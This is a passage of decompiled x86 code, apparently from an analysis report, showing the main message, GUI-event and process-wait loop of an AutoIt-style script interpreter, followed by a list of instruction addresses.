													_t630 = _v340 + 1;
													_v288 = _t874;
													_v340 = _t630;
													__eflags = _t630 -  *((intOrPtr*)(_v332 + 0x14));
												} while (__eflags <= 0);
												goto L215;
											}
											_t841 = _v124 + 8;
											__eflags = _t841;
											_v328 = _t841;
											while(1) {
												_t802 =  *((intOrPtr*)(_t520 + 4));
												_v340 = _t802;
												_t649 =  *((intOrPtr*)(_t802 + _t873 * 4));
												__eflags =  *((short*)(_t649 + 8));
												if( *((short*)(_t649 + 8)) != 0) {
													goto L155;
												}
												L147:
												_t837 =  *(_v304 + 4);
												do {
													_t656 =  *((intOrPtr*)(_t837 + 4 + _t873 * 4));
													__eflags =  *((short*)(_t656 + 8)) - 0x33;
													if( *((short*)(_t656 + 8)) == 0x33) {
														L151:
														_t658 =  *((intOrPtr*)( *((intOrPtr*)(_t837 + _t873 * 4))));
														__eflags = _t658 - 0x24;
														if(_t658 == 0x24) {
															goto L153;
														}
														__eflags = _t658 - 0x1e;
														if(_t658 != 0x1e) {
															L167:
															E00D6A0B5(_t846, _t931, 0x91,  *((short*)( *((intOrPtr*)( *(_v304 + 4) + 4 + _t873 * 4)) + 0xa)));
															goto L172;
														}
														goto L153;
													}
													__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t837 + _t873 * 4)))) -  *_t656;
													if( *((intOrPtr*)( *((intOrPtr*)(_t837 + _t873 * 4)))) ==  *_t656) {
														goto L167;
													}
													_t802 = _v340;
													goto L151;
													L153:
													_t659 =  *((intOrPtr*)(_t802 + 4 + _t873 * 4));
													_t873 = _t873 + 1;
													__eflags =  *((short*)(_t659 + 8));
												} while ( *((short*)(_t659 + 8)) == 0);
												_t841 = _v328;
												L155:
												_t650 =  *((intOrPtr*)(_t802 + 4 + _t873 * 4));
												_t877 = _t873 + 1;
												__eflags =  *((short*)(_t650 + 8)) - 0x41;
												if( *((short*)(_t650 + 8)) != 0x41) {
													L162:
													E00D56665(_t747,  &_v180,  *_t841);
													_t873 = _t877 + 1;
													_t652 = _v336;
													_t805 = _v268 + 1;
													_t841 = _v332 + 4;
													_v268 = _t805;
													_v332 = _v332 + 4;
													__eflags = _t805 -  *((intOrPtr*)(_t652 + 0x14));
													if(_t805 >=  *((intOrPtr*)(_t652 + 0x14))) {
														_t837 = _v332;
														_v344 = _v176;
														goto L174;
													}
													_t520 = _v304;
													_t802 =  *((intOrPtr*)(_t520 + 4));
													_v340 = _t802;
													_t649 =  *((intOrPtr*)(_t802 + _t873 * 4));
													__eflags =  *((short*)(_t649 + 8));
													if( *((short*)(_t649 + 8)) != 0) {
														goto L155;
													}
													goto L147;
												}
												_t843 = _v340;
												_t877 = _t877 + 1;
												_t806 = 0;
												__eflags = 0;
												while(1) {
													_t655 =  *( *((intOrPtr*)(_t843 + _t877 * 4)) + 8) & 0x0000ffff;
													__eflags = _t655 - 0x47;
													if(_t655 != 0x47) {
														goto L159;
													}
													L158:
													_t806 = _t806 + 1;
													L166:
													_t877 = _t877 + 1;
													_t655 =  *( *((intOrPtr*)(_t843 + _t877 * 4)) + 8) & 0x0000ffff;
													__eflags = _t655 - 0x47;
													if(_t655 != 0x47) {
														goto L159;
													}
													goto L158;
													L159:
													__eflags = _t655 - 0x48;
													if(_t655 != 0x48) {
														__eflags = _t655 - 0x40;
														if(_t655 != 0x40) {
															goto L166;
														}
														__eflags = _t806;
														if(_t806 == 0) {
															L161:
															_t841 = _v328;
															goto L162;
														}
														goto L166;
													}
													_t806 = _t806 - 1;
													__eflags = _t806;
													if(_t806 >= 0) {
														goto L166;
													}
													goto L161;
												}
											}
										}
										L33:
										if( *0xdc6930 != 0) {
											__eflags =  *((char*)(_t846 + 0x459)) - 1;
											if(__eflags == 0) {
												goto L34;
											}
											E00D077C7( &(_v216.message), __eflags);
											while(1) {
												_t498 = E00D628F7(0xdc6890,  &_v216);
												__eflags = _t498;
												if(_t498 == 0) {
													break;
												}
												__eflags = _v216.wParam;
												if(_v216.wParam == 0) {
													continue;
												}
												_t870 = E00D09FBD(_t846,  &(_v216.message));
												__eflags = _t870;
												if(_t870 == 0) {
													continue;
												}
												_v148 = 0;
												_v140 = 0;
												_v136 = 1;
												E00D09A20(_t747,  &_v148);
												_v136 = 1;
												_v148 = _v216.hwnd;
												E00D07F41(_t747,  &_v96, __eflags, L"@TRAY_ID");
												E00D08B13(0xdc7270, _t837, _t846, __eflags,  &_v100,  &_v152, 1);
												E00D05A64( &_v112);
												 *((char*)(_t846 + 0x459)) = 1;
												E00D0B89C(_t846, _t837, _t931,  *((intOrPtr*)(_t870 + 0x10)) + 1, 1, 0);
												 *((char*)(_t846 + 0x459)) = 0;
												E00D09A20(_t747,  &_v176);
												_t752 =  &_v240;
												E00D05A64(_t752);
												goto L51;
											}
											_t752 =  &(_v216.message);
											E00D05A64(_t752);
										}
										L34:
										_t494 =  *(_t846 + 0xf8);
										if(_t494 == 7) {
											_t495 = WaitForSingleObject( *(_t846 + 0x444), 0xa);
											_v292 = _t495;
											__eflags = _t495 - 0x102;
											if(__eflags == 0) {
												goto L51;
											}
											GetExitCodeProcess( *(_t846 + 0x444),  &_v292);
											CloseHandle( *(_t846 + 0x444));
											_v356 = _v292;
											L265:
											_push(_t752);
											_t752 =  *((intOrPtr*)( *_t846 + 4)) + _t846;
											E00D1FF13(_t752,  &_v356);
											L97:
											 *((char*)(_t846 + 0x144)) = 1;
											 *(_t846 + 0xf8) = 0;
											goto L51;
										}
										if(_t494 == 2) {
											L84:
											Sleep(0xa);
											__eflags =  *(_t846 + 0x2f0);
											if( *(_t846 + 0x2f0) == 0) {
												L88:
												_t674 =  *(_t846 + 0xf8);
												__eflags = _t674 - 3;
												if(__eflags < 0) {
													goto L51;
												}
												_t675 = _t674 - 3;
												__eflags = _t675 - 3;
												if(__eflags > 0) {
													goto L51;
												} else {
													switch( *((intOrPtr*)(_t675 * 4 +  &M00D4613D))) {
														case 0:
															__ecx = __edi;
															__eax = E00D0B93D(__ecx, __edx, __eflags, __fp0, 1);
															goto L297;
														case 1:
															__ecx = __edi;
															__eax = E00D0B93D(__ecx, __edx, __eflags, __fp0, 1);
															goto L293;
														case 2:
															_t752 = _t846;
															_t676 = E00D861AC(_t752, _t837, __eflags, _t931);
															L297:
															_t861 = _t676;
															__eflags = _t861;
															if(__eflags >= 0) {
																goto L299;
															}
															goto L298;
														case 3:
															__ecx = __edi;
															__eax = E00D861AC(__ecx, __edx, __eflags, __fp0);
															L293:
															__esi = __eax;
															__eflags = __esi;
															if(__eflags < 0) {
																L298:
																_t827 =  *((intOrPtr*)( *_t846 + 4)) + _t846;
																E00D56AA3(_t827,  ~_t861, 0);
																_push(_t827);
																_v364 = 0;
																_t752 =  *((intOrPtr*)( *_t846 + 4)) + _t846;
																_t676 = E00D1FF13(_t752,  &_v364);
																__eflags = _t861;
																L299:
																if(__eflags == 0) {
																	goto L51;
																}
																__eflags = _t861;
																if(_t861 <= 0) {
																	L304:
																	_t752 =  *(_t846 + 0x2f4);
																	 *((char*)(_t846 + 0x144)) = 1;
																	 *(_t846 + 0xf8) = 0;
																	E00D654E6(_t676, _t752, _t931);
																	goto L51;
																}
																L301:
																_t676 =  *(_t846 + 0xf8);
																__eflags = _t676 - 5;
																if(_t676 == 5) {
																	L303:
																	_v164 = 0;
																	_v156 = 0;
																	_v152 = 1;
																	E00D09A20(_t747,  &_v164);
																	_v152 = 7;
																	_v164 =  *( *(_t846 + 0x1f0));
																	__eflags =  *((intOrPtr*)( *_t846 + 4)) + _t846;
																	E00D56A50( *((intOrPtr*)( *_t846 + 4)) + _t846, _t846,  &_v164, 0);
																	_t676 = E00D09A20(_t747,  &_v172);
																	goto L304;
																}
																__eflags = _t676 - 3;
																if(_t676 != 3) {
																	goto L304;
																}
																goto L303;
															}
															if(__eflags > 0) {
																goto L51;
															}
															goto L301;
													}
												}
												goto L90;
											}
											_t752 =  *(_t846 + 0x2f8);
											_t689 = E00D20719(_t752);
											__eflags = _t837;
											if(__eflags < 0) {
												goto L88;
											}
											if(__eflags > 0) {
												L96:
												__eflags =  *(_t846 + 0xf8) - 2;
												if(__eflags != 0) {
													_v356 = 0;
													goto L265;
												}
												goto L97;
											}
											__eflags = _t689 -  *(_t846 + 0x2f0);
											if(_t689 >=  *(_t846 + 0x2f0)) {
												goto L96;
											}
											goto L88;
										}
										if(_t494 == 8 || _t494 == 9) {
											Sleep(0xa);
											__eflags =  *(_t846 + 0x43c);
											if( *(_t846 + 0x43c) == 0) {
												L311:
												_t690 =  *(_t846 + 0xf8);
												_t863 = 0;
												_v333 = 0;
												_v356 = 0;
												__eflags = _t690 - 8;
												if(_t690 != 8) {
													__eflags = _t690 - 9;
													if(__eflags != 0) {
														goto L51;
													}
													L315:
													_t752 =  *(_t846 + 0x448);
													_t691 = 0xcccccccc;
													_v300 = 0xcccccccc;
													__eflags = _t752;
													if(_t752 == 0) {
														L319:
														__eflags =  *(_t846 + 0xf8) - 8;
														if( *(_t846 + 0xf8) != 8) {
															_t752 =  *((intOrPtr*)( *_t846 + 4)) + _t846;
															__eflags = _t752;
															E00D1FF61(_t747, _t752, _t691, 0);
														} else {
															_v356 = _t863;
															asm("fild dword [esp+0x8]");
															__eflags = _t863;
															if(__eflags < 0) {
																_t931 = _t931 +  *0xdbbac8;
															}
															_push(_t752);
															_v356 = _t931;
															_t752 =  *((intOrPtr*)( *_t846 + 4)) + _t846;
															E00D7CC41(_t747, _t752,  &_v356);
														}
														 *((char*)(_t846 + 0x144)) = 1;
														 *(_t846 + 0xf8) = 0;
														Sleep( *(_t846 + 0x2f4));
														goto L51;
													}
													GetExitCodeProcess(_t752,  &_v300);
													__eflags = _v300 - 0x103;
													if(_v300 != 0x103) {
														L318:
														CloseHandle( *(_t846 + 0x448));
														_t691 = _v300;
														 *(_t846 + 0x448) = 0;
														goto L319;
													}
													__eflags = WaitForSingleObject( *(_t846 + 0x448), 0);
													if(__eflags != 0) {
														goto L51;
													}
													goto L318;
												}
												_t752 = _t846 + 0x42c;
												_t837 =  &_v356;
												E00D63E91(_t752,  &_v356, _t931,  &_v333);
												_t884 = _t884 + 4;
												__eflags = _v333 - 1;
												if(__eflags != 0) {
													goto L51;
												}
												_t863 = _v356;
												goto L315;
											}
											_t752 =  *(_t846 + 0x440);
											_t703 = E00D20719(_t752);
											__eflags = _t837;
											if(__eflags < 0) {
												goto L311;
											}
											if(__eflags > 0) {
												L309:
												_t704 =  *(_t846 + 0x448);
												__eflags = _t704;
												if(__eflags != 0) {
													CloseHandle(_t704);
													 *(_t846 + 0x448) = 0;
												}
												_v356 = 0;
												goto L265;
											}
											__eflags = _t703 -  *(_t846 + 0x43c);
											if(_t703 <  *(_t846 + 0x43c)) {
												goto L311;
											}
											goto L309;
										} else {
											if(_t494 == 3 || _t494 == 4 || _t494 == 5 || _t494 == 6) {
												goto L84;
											} else {
												_t864 = _a4;
												_a4 = _a4 + 1;
												 *(_t846 + 0xf4) = _t864;
												_t921 = _t864 -  *0xdc72a0; // 0x0
												if(_t921 > 0 || _t864 <= 0) {
													L287:
													 *(_t846 + 0xf8) = 1;
													goto L51;
												} else {
													_t866 = (_t864 << 4) +  *0xdc72dc;
													if(_t866 == 0) {
														goto L287;
													}
													_t837 = 0;
													_v284 = 0;
													_v276 = 0;
													_v272 = 1;
													_t707 =  *((intOrPtr*)( *((intOrPtr*)(_t866 + 4))));
													_v356 = _t707;
													_v344 = 0;
													_v332 = 0;
													_t708 =  *((short*)(_t707 + 8));
													if(_t708 != 0) {
														__eflags = _t708 - 0x33;
														if(_t708 != 0x33) {
															_t709 = _t708 - 1;
															__eflags = _t709 - 0x7e;
															if(__eflags > 0) {
																L269:
																_t712 = E00D0A000(_t747, _t846, _t931, _t866,  &_v332,  &_v284, 0xffffffff);
																L72:
																__eflags = _t712;
																if(__eflags < 0) {
																	L47:
																	_t867 = _v276;
																	if(_t867 != 0) {
																		 *( *(_t867 + 0xc)) =  *( *(_t867 + 0xc)) - 1;
																		__eflags =  *( *(_t867 + 0xc));
																		if( *( *(_t867 + 0xc)) == 0) {
																			L00D2106C( *_t867);
																			L00D2106C( *(_t867 + 0xc));
																			_t884 = _t884 + 8;
																		}
																		L00D2106C(_t867);
																		_t884 = _t884 + 4;
																		_v276 = 0;
																	}
																	_t837 = _v284;
																	_t752 = _v272;
																	_v344 = _v284;
																	L49:
																	if(_t752 >= 5) {
																		_t752 = _t752 + 0xfffffffb;
																		__eflags = _t752 - 0xa;
																		if(__eflags > 0) {
																			goto L50;
																		}
																		switch( *((intOrPtr*)(_t752 * 4 +  &M00D111A4))) {
																			case 0:
																				__eflags = __edx;
																				if(__eflags != 0) {
																					__ecx = __edx;
																					__eax = E00D08E34(__ecx, __edi, __eflags, __ecx);
																				}
																				goto L50;
																			case 1:
																				goto L50;
																			case 2:
																				__eflags = __edx;
																				if(__eflags == 0) {
																					goto L50;
																				}
																				_push(__edx);
																				__imp__#9();
																				_push(_v288);
																				goto L286;
																			case 3:
																				__eflags = __edx;
																				if(__eflags == 0) {
																					goto L50;
																				}
																				__ecx = __edx + 8;
																				goto L285;
																			case 4:
																				__eax = L00D2106C( *((intOrPtr*)(__edx + 4)));
																				_push(_v284);
																				goto L286;
																			case 5:
																				__eflags = __edx;
																				if(__eflags != 0) {
																					__ecx = __edx;
																					__eax = E00D573F0(__ecx, __ecx);
																				}
																				goto L50;
																			case 6:
																				__eflags = __edx;
																				if(__eflags == 0) {
																					goto L50;
																				}
																				__ecx = __edx;
																				L285:
																				__eax = E00D05A64(__ecx);
																				_push(_v344);
																				L286:
																				__eax = L00D2106C();
																				__esp = __esp + 4;
																				goto L50;
																			case 7:
																				__eflags = __edx;
																				if(__eflags != 0) {
																					__ecx = __edx;
																					__eax = E00D57405(__ebx, __ecx, __edi, __ecx);
																				}
																				goto L50;
																		}
																	}
																	L50:
																	_v272 = 1;
																	_v284 = 0;
																	goto L51;
																}
																_t719 =  *((intOrPtr*)( *((intOrPtr*)(_t866 + 4)) + _v332 * 4));
																__eflags =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t866 + 4)) + _v332 * 4)) + 8)) - 0x7f;
																if(__eflags == 0) {
																	goto L47;
																}
																E00D6A0B5(_t846, _t931, 0x72,  *((short*)(_t719 + 0xa)));
																_t752 =  &_v292;
																E00D09DF0(_t747, _t752);
																goto L51;
															}
															_t63 = _t709 + 0xd11124; // 0x4040000
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00D11110))) {
																case 0:
																	_t712 = E00D0F5C0(_t747, _t846, _t931, 0, _t866,  &_v332,  &_v284); // executed
																	goto L72;
																case 1:
																	__eax =  &_v257;
																	__ecx = __edi;
																	 &_v284 =  &_v332;
																	__eax = E00D0FE40(__ecx, __fp0, 0, __esi,  &_v332,  &_v284,  &_v257); // executed
																	goto L72;
																case 2:
																	__ecx = __edi + 0x168;
																	__ecx = E00D7C2F7(__edi + 0x168);
																	__eax = E00D56543(__eax);
																	__eflags = __al;
																	if(__al != 0) {
																		__ecx = __edi + 0x168;
																		E00D7C2F7(__edi + 0x168) =  &_v332;
																		__ecx = __edi;
																		__eax = E00D7B851(__ecx, __edx, __fp0, __esi,  &_v332,  &_v332);
																		goto L72;
																	}
																	__eax = _v356;
																	__ecx = __edi;
																	 *((short*)(_v356 + 0xa)) = E00D6A0B5(__edi, __fp0, 0xa7,  *((short*)(_v356 + 0xa)));
																	__ecx =  &_v292;
																	__eax = E00D09DF0(__ebx, __ecx);
																	goto L51;
																case 3:
																	goto L49;
																case 4:
																	goto L269;
															}
														}
														E00D0E800(_t846, _t931, _t866); // executed
														goto L47;
													}
													E00D0E580(_t846, _t931, _t866,  &_a4); // executed
													goto L47;
												}
											}
										}
									} else {
										_t906 =  *0xdc67e8 - 1;
										if( *0xdc67e8 != 1) {
											_v216.wParam = 0;
											_v216.lParam = 8;
											_t22 = 8 * _t837;
											_t837 = 8 * _t837 >> 0x20;
											_t541 = E00D20FF6(_t747, _t846, _t906,  ~(0 | _t906 > 0x00000000) | _t22);
											_v216.message = _t541;
											_t752 = 0;
											 *_t541 = 0;
											_t542 = E00D20FF6(_t747, _t846, _t906, 4);
											_t884 = _t884 + 8;
											if(_t542 == 0) {
												_t542 = 0;
											} else {
												 *_t542 = 1;
											}
											_v192 = _t542;
											while( *0xdc67dc != 0) {
												_t543 =  *0xdc67e0; // 0x0
												_t868 =  *_t543;
												E00D8629F( &(_v216.wParam), _t868);
												_t752 = 0xdc67dc;
												E00D0467D(0xdc67dc);
												__eflags = _t868;
												if(_t868 != 0) {
													_t752 = _t868;
													E00D04665(_t752, 0xdc67dc);
												}
												__eflags = _v216.time;
												 *0xdc7420 = 0;
												if(__eflags == 0) {
													continue;
												} else {
													_t752 = _t846;
													_t549 = E00D09FBD(_t752,  &(_v216.lParam));
													_t878 = _t549;
													__eflags = _t549;
													if(__eflags == 0) {
														continue;
													}
													_v244 = 0;
													_v236 = 0;
													_v232 = 1;
													E00D09A20(_t747,  &_v244);
													_v232 = 1;
													_v244 = _v216.wParam;
													E00D07F41(_t747,  &_v56, __eflags, L"@GUI_CTRLID");
													E00D08B13(0xdc7270, _t837, _t846, __eflags,  &_v60,  &_v248, 1);
													E00D05A64( &_v72);
													E00D09A20(_t747,  &_v260);
													_v248 = 7;
													_v260 = _v216.lParam;
													E00D07F41(_t747,  &_v120, __eflags, L"@GUI_WINHANDLE");
													E00D08B13(0xdc7270, _t837, _t846, __eflags,  &_v124,  &_v264, 1);
													E00D05A64( &_v136);
													E00D09A20(_t747,  &_v276);
													_v264 = 7;
													_v276 = _v216.hwnd;
													E00D07F41(_t747,  &_v104, __eflags, L"@GUI_CTRLHANDLE");
													E00D08B13(0xdc7270, _t837, _t846, __eflags,  &_v108,  &_v280, 1);
													E00D05A64( &_v120);
													 *((char*)(_t846 + 0x458)) = 1;
													E00D0B89C(_t846, _t837, _t931,  *((intOrPtr*)(_t878 + 0x10)) + 1, 1, 0);
													 *((char*)(_t846 + 0x458)) = 0;
													E00D09A20(_t747,  &_v304);
													_t752 =  &_v264;
													E00D05A64(_t752);
													goto L51;
												}
											}
											if( *0xdc67bc == 0) {
												__eflags =  *0xdc691c;
												if(__eflags != 0) {
													L141:
													_push(0xa);
													L142:
													Sleep();
													goto L30;
												}
												__eflags =  *0xdc7420 - 0x64;
												if(__eflags >= 0) {
													goto L141;
												}
												 *0xdc7420 =  &( *0xdc7420->i);
												_push(0);
												goto L142;
											}
											L30:
											_t869 = _v192;
											 *_t869 =  *_t869 - 1;
											if( *_t869 == 0) {
												L00D2106C(_v216.lParam);
												L00D2106C(_t869);
												_t884 = _t884 + 8;
											}
										}
										goto L32;
									}
								} else {
									_t879 =  *((intOrPtr*)(_t846 + 0x44c));
									 *0xdc741c = 1;
									_v344 = 0;
									_v356 = _t846 + 0x44c;
									L16:
									L16:
									if(_t879 != 0) {
										goto L57;
									} else {
										_t849 = _v356;
										goto L18;
									}
									while(1) {
										L18:
										_t578 =  *_t849;
										while(1) {
											L19:
											_v340 = _t578;
											if(_t578 == 0) {
												break;
											}
											_t752 =  *_t578;
											__eflags =  *((char*)(_t752 + 0x11));
											if(__eflags != 0) {
												_t752 = _t849;
												E00D6A3F3(_t752,  &_v340);
												L18:
												_t578 =  *_t849;
												continue;
											}
											_t578 =  *(_t578 + 4);
										}
										_t846 = _v296;
										 *0xdc741c = _t578;
										if(_v344 > _t578) {
											goto L51;
										} else {
											_t18 = _t578 + 2; // 0x2
											_t837 = _t18;
											goto L22;
										}
									}
									L57:
									_t577 =  *_t879;
									__eflags =  *((char*)(_t577 + 0x11));
									if(__eflags != 0) {
										L64:
										_t879 =  *((intOrPtr*)(_t879 + 4));
										goto L16;
									}
									_t850 =  *((intOrPtr*)(_t577 + 0x14));
									_t599 = timeGetTime();
									_t752 = _t599;
									_t837 = 0;
									_t600 = _t599 - _t850;
									__eflags = _t850 - 0x7fffffff;
									if(_t850 > 0x7fffffff) {
										__eflags = _t752 - 0x7fffffff;
										if(_t752 <= 0x7fffffff) {
											L61:
											_t851 =  *_t879;
											__eflags = _t837;
											if(__eflags < 0) {
												goto L64;
											}
											if(__eflags > 0) {
												L98:
												_v344 =  &(_v344->i);
												 *((intOrPtr*)(_t851 + 0x14)) = timeGetTime();
												_t602 = E00D09FBD(_v296,  *_t879);
												 *((char*)( *_t879 + 0x10)) = 1;
												_t752 = _v300;
												E00D0B89C(_t752, _t837, _t931,  *((intOrPtr*)(_t602 + 0x10)) + 1, 1, 0);
												 *((char*)( *_t879 + 0x10)) = 0;
												goto L64;
											}
											__eflags = _t600 -  *((intOrPtr*)(_t851 + 0x18));
											if(__eflags >= 0) {
												goto L98;
											}
											goto L64;
										}
										L60:
										asm("cdq");
										goto L61;
									}
									__eflags = _t752 - 0x7fffffff;
									if(_t752 > 0x7fffffff) {
										goto L61;
									}
									goto L60;
								}
							}
						}
						if( *0xdc67e8 != 0) {
							__eflags =  *(_t846 + 0xf8);
							if(__eflags == 0) {
								goto L11;
							}
						}
						if(PeekMessageW( &_v216, 0, 0, 0, 1) != 0) {
							while(1) {
								__eflags = _v216.message - 0x12;
								if(__eflags == 0) {
									break;
								}
								_t778 =  *0xdc67d8; // 0xffffffff
								__eflags = _t778 - 0xffffffff;
								if(_t778 != 0xffffffff) {
									__eflags = _t778 -  *0xdc6814; // 0x0
									if(__eflags >= 0) {
										L116:
										 *0xdc67d8 = 0xffffffff;
										goto L80;
									}
									_t594 =  *0xdc6810; // 0x0
									_t752 =  *(_t594 + _t778 * 4);
									_t595 =  *_t752;
									__eflags = _t595;
									if(_t595 == 0) {
										goto L116;
									}
									__eflags =  *(_t595 + 0x18);
									if( *(_t595 + 0x18) == 0) {
										goto L116;
									}
									_t598 = TranslateAcceleratorW( *( *_t752),  *( *_t752 + 0x18),  &_v216);
									__eflags = _t598;
									if(_t598 != 0) {
										L81:
										__eflags = PeekMessageW( &_v216, 0, 0, 0, 1);
										if(__eflags == 0) {
											goto L8;
										}
										continue;
									}
								}
								L80:
								_t752 = 0xdc67b0;
								_t587 = E00D031CE(0xdc67b0,  &_v216);
								__eflags = _t587;
								if(_t587 == 0) {
									TranslateMessage( &_v216);
									DispatchMessageW( &_v216); // executed
								}
								goto L81;
							}
							 *((char*)(_t846 + 0xfc)) = 1;
							 *(_t846 + 0xf8) = 1;
						}
						L8:
						if( *0xdc6282 == 1) {
							 *0xdc6287 = 0;
							 *0xdc6282 = 0;
							 *(_t846 + 0xf8) = 1;
						}
						if( *(_t846 + 0xf8) == 1) {
							_push(_t752);
							_v292 = 0;
							E00D1FF13( *((intOrPtr*)( *_t846 + 4)) + _t846,  &_v292);
							goto L53;
						} else {
							_t837 = 2;
							goto L11;
						}
					}
					goto L53;
				}
			}

0x00d10b30
0x00d10b30
0x00d10b36
0x00d10b3e
0x00d10b40
0x00d10b44
0x00d10b4f
0x00d450f4
0x00d45100
0x00d10e63
0x00d10e68
0x00d10e68
0x00d10b55
0x00d10b56
0x00d10b5f
0x00d11023
0x00d11023
0x00d11029
0x00d11030
0x00d11030
0x00d11032
0x00000000
0x00000000
0x00d4510c
0x00d45111
0x00d45113
0x00d4511c
0x00d4511e
0x00d4511e
0x00d45128
0x00d4512c
0x00d45131
0x00d45131
0x00d11030
0x00d10b65
0x00d10b6c
0x00d10b73
0x00d10e44
0x00d10e44
0x00d10e4a
0x00d10e54
0x00d1103f
0x00d11044
0x00d1104b
0x00d10e61
0x00d10e61
0x00000000
0x00d10e61
0x00d11053
0x00d1105a
0x00d11066
0x00d11080
0x00d11082
0x00d11084
0x00000000
0x00000000
0x00d46082
0x00d4608a
0x00d46098
0x00d460ac
0x00d460ae
0x00d460ae
0x00000000
0x00d460b2
0x00d10e5b
0x00000000
0x00d10b79
0x00d10b7f
0x00d10b86
0x00d10b8b
0x00000000
0x00000000
0x00d10b98
0x00d4513a
0x00d45141
0x00d10be4
0x00d10beb
0x00d451de
0x00d451e6
0x00d451e9
0x00d451ed
0x00d451f2
0x00d451f8
0x00d451fb
0x00d45203
0x00d45205
0x00d45207
0x00d4520d
0x00d45213
0x00d45217
0x00d45219
0x00d4523f
0x00d4523f
0x00d45241
0x00d45294
0x00000000
0x00d45294
0x00d45254
0x00d45274
0x00d4527c
0x00d45284
0x00d10e31
0x00d10e37
0x00d10e3e
0x00000000
0x00000000
0x00000000
0x00d10e3e
0x00d4521b
0x00d45221
0x00d45225
0x00d45228
0x00d4522a
0x00d4522c
0x00000000
0x00000000
0x00d4522e
0x00d45230
0x00000000
0x00000000
0x00d45232
0x00d45232
0x00d45233
0x00d45233
0x00d45237
0x00d4523b
0x00000000
0x00d4523b
0x00d10bf1
0x00d10bf8
0x00d4529e
0x00d452a5
0x00000000
0x00000000
0x00d452ad
0x00000000
0x00d452ad
0x00d10bfe
0x00d10c05
0x00d10c64
0x00d10c6b
0x00d10d2d
0x00d10d34
0x00d454ad
0x00d454b4
0x00000000
0x00000000
0x00d454bc
0x00d454d0
0x00d454d8
0x00d454e3
0x00d454e7
0x00d454ee
0x00d454f5
0x00d454fc
0x00d45507
0x00d4550c
0x00d4551a
0x00d45531
0x00d45540
0x00d45542
0x00d45546
0x00d4554a
0x00d4554f
0x00d45555
0x00d4555a
0x00d4555e
0x00d45562
0x00d456c2
0x00d456c5
0x00d456ce
0x00d456d3
0x00d456d7
0x00d456df
0x00d456e3
0x00d4591a
0x00d45926
0x00d45934
0x00d4594f
0x00d4595b
0x00d4596f
0x00d45979
0x00d4597e
0x00d45985
0x00d45987
0x00d4598a
0x00d4598f
0x00d4598f
0x00d4599a
0x00d459a1
0x00d459a4
0x00d45af2
0x00d45af9
0x00d45b04
0x00d45b0f
0x00d45b14
0x00d45b1b
0x00d45b20
0x00000000
0x00d459aa
0x00d459aa
0x00d459ad
0x00d459b0
0x00000000
0x00000000
0x00d459b6
0x00000000
0x00d45aa7
0x00d45aa9
0x00d45aac
0x00d45aae
0x00d45aae
0x00000000
0x00000000
0x00000000
0x00000000
0x00d45a91
0x00d45a93
0x00000000
0x00000000
0x00d45a95
0x00d45a96
0x00000000
0x00000000
0x00d45a9e
0x00d45aa0
0x00000000
0x00000000
0x00d45aa2
0x00000000
0x00000000
0x00d45ab8
0x00000000
0x00000000
0x00d45ac2
0x00d45ac4
0x00d45ac7
0x00d45ac9
0x00d45ac9
0x00000000
0x00000000
0x00d45ade
0x00d45ae0
0x00000000
0x00000000
0x00d45ae2
0x00d45ae4
0x00d45ae4
0x00d45ae9
0x00d45aea
0x00000000
0x00000000
0x00d45ad0
0x00d45ad2
0x00d45ad5
0x00d45ad7
0x00d45ad7
0x00000000
0x00000000
0x00d459b6
0x00000000
0x00000000
0x00000000
0x00d456e9
0x00d456e9
0x00d456ed
0x00d456ef
0x00d456f3
0x00d456f6
0x00d456fa
0x00d456fd
0x00d45701
0x00d4572a
0x00d4572a
0x00d4572e
0x00d45735
0x00d4573d
0x00d4573d
0x00d4573f
0x00d45743
0x00d45746
0x00d4574a
0x00d4574e
0x00000000
0x00000000
0x00d45750
0x00d45750
0x00d4582e
0x00d4582e
0x00d4582f
0x00d45746
0x00d4574a
0x00d4574e
0x00000000
0x00000000
0x00000000
0x00d45756
0x00d45756
0x00d4575a
0x00d45820
0x00d45824
0x00000000
0x00000000
0x00d45826
0x00d45828
0x00d45767
0x00d4576b
0x00d4576f
0x00d45773
0x00d45777
0x00d4577b
0x00d4577f
0x00d458db
0x00d458ef
0x00000000
0x00d458ef
0x00d45788
0x00d45790
0x00d4579c
0x00d457a9
0x00d457bb
0x00d457c0
0x00d457c2
0x00d459bd
0x00d459c1
0x00d459c3
0x00d459c6
0x00d459cb
0x00d459cb
0x00d459d3
0x00d459d7
0x00d459da
0x00d45673
0x00d45673
0x00d4567b
0x00d45683
0x00d4568a
0x00d45696
0x00d4569b
0x00d456a2
0x00d456a7
0x00000000
0x00d459e0
0x00d459e0
0x00d459e3
0x00d459e6
0x00000000
0x00000000
0x00d459ec
0x00000000
0x00d45a23
0x00d45a27
0x00d45a29
0x00d45a30
0x00d45a30
0x00000000
0x00000000
0x00000000
0x00000000
0x00d459f3
0x00d459f7
0x00d459f9
0x00000000
0x00000000
0x00d459ff
0x00d45a00
0x00d45a06
0x00000000
0x00000000
0x00d45a0f
0x00d45a13
0x00d45a15
0x00000000
0x00000000
0x00d45a1b
0x00d45a1b
0x00000000
0x00000000
0x00d45a41
0x00d45a49
0x00000000
0x00000000
0x00d45a52
0x00d45a56
0x00d45a58
0x00d45a5f
0x00d45a5f
0x00000000
0x00000000
0x00d45a80
0x00d45a84
0x00d45a86
0x00000000
0x00000000
0x00d45663
0x00d45665
0x00d45665
0x00d4566a
0x00d4566b
0x00d4566b
0x00d45670
0x00000000
0x00000000
0x00d45a69
0x00d45a6d
0x00d45a6f
0x00d45a76
0x00d45a76
0x00000000
0x00000000
0x00d459ec
0x00d459da
0x00d457e5
0x00d457ea
0x00d457ee
0x00d457f0
0x00d457f3
0x00d457f8
0x00d457f8
0x00d45800
0x00d45804
0x00d45807
0x00d458c5
0x00d458c5
0x00d458cd
0x00000000
0x00d4580d
0x00d4580d
0x00d45810
0x00d45813
0x00000000
0x00000000
0x00d45819
0x00000000
0x00d45861
0x00d45865
0x00d45867
0x00d4586a
0x00d4586a
0x00000000
0x00000000
0x00000000
0x00000000
0x00d45837
0x00d4583b
0x00d4583d
0x00000000
0x00000000
0x00d45843
0x00d45844
0x00d4584a
0x00000000
0x00000000
0x00d45850
0x00d45854
0x00d45858
0x00d4585a
0x00000000
0x00000000
0x00d4585c
0x00d4585c
0x00000000
0x00000000
0x00d45878
0x00d45880
0x00000000
0x00000000
0x00d45886
0x00d4588a
0x00d4588c
0x00d4588f
0x00d4588f
0x00000000
0x00000000
0x00d458a6
0x00d458aa
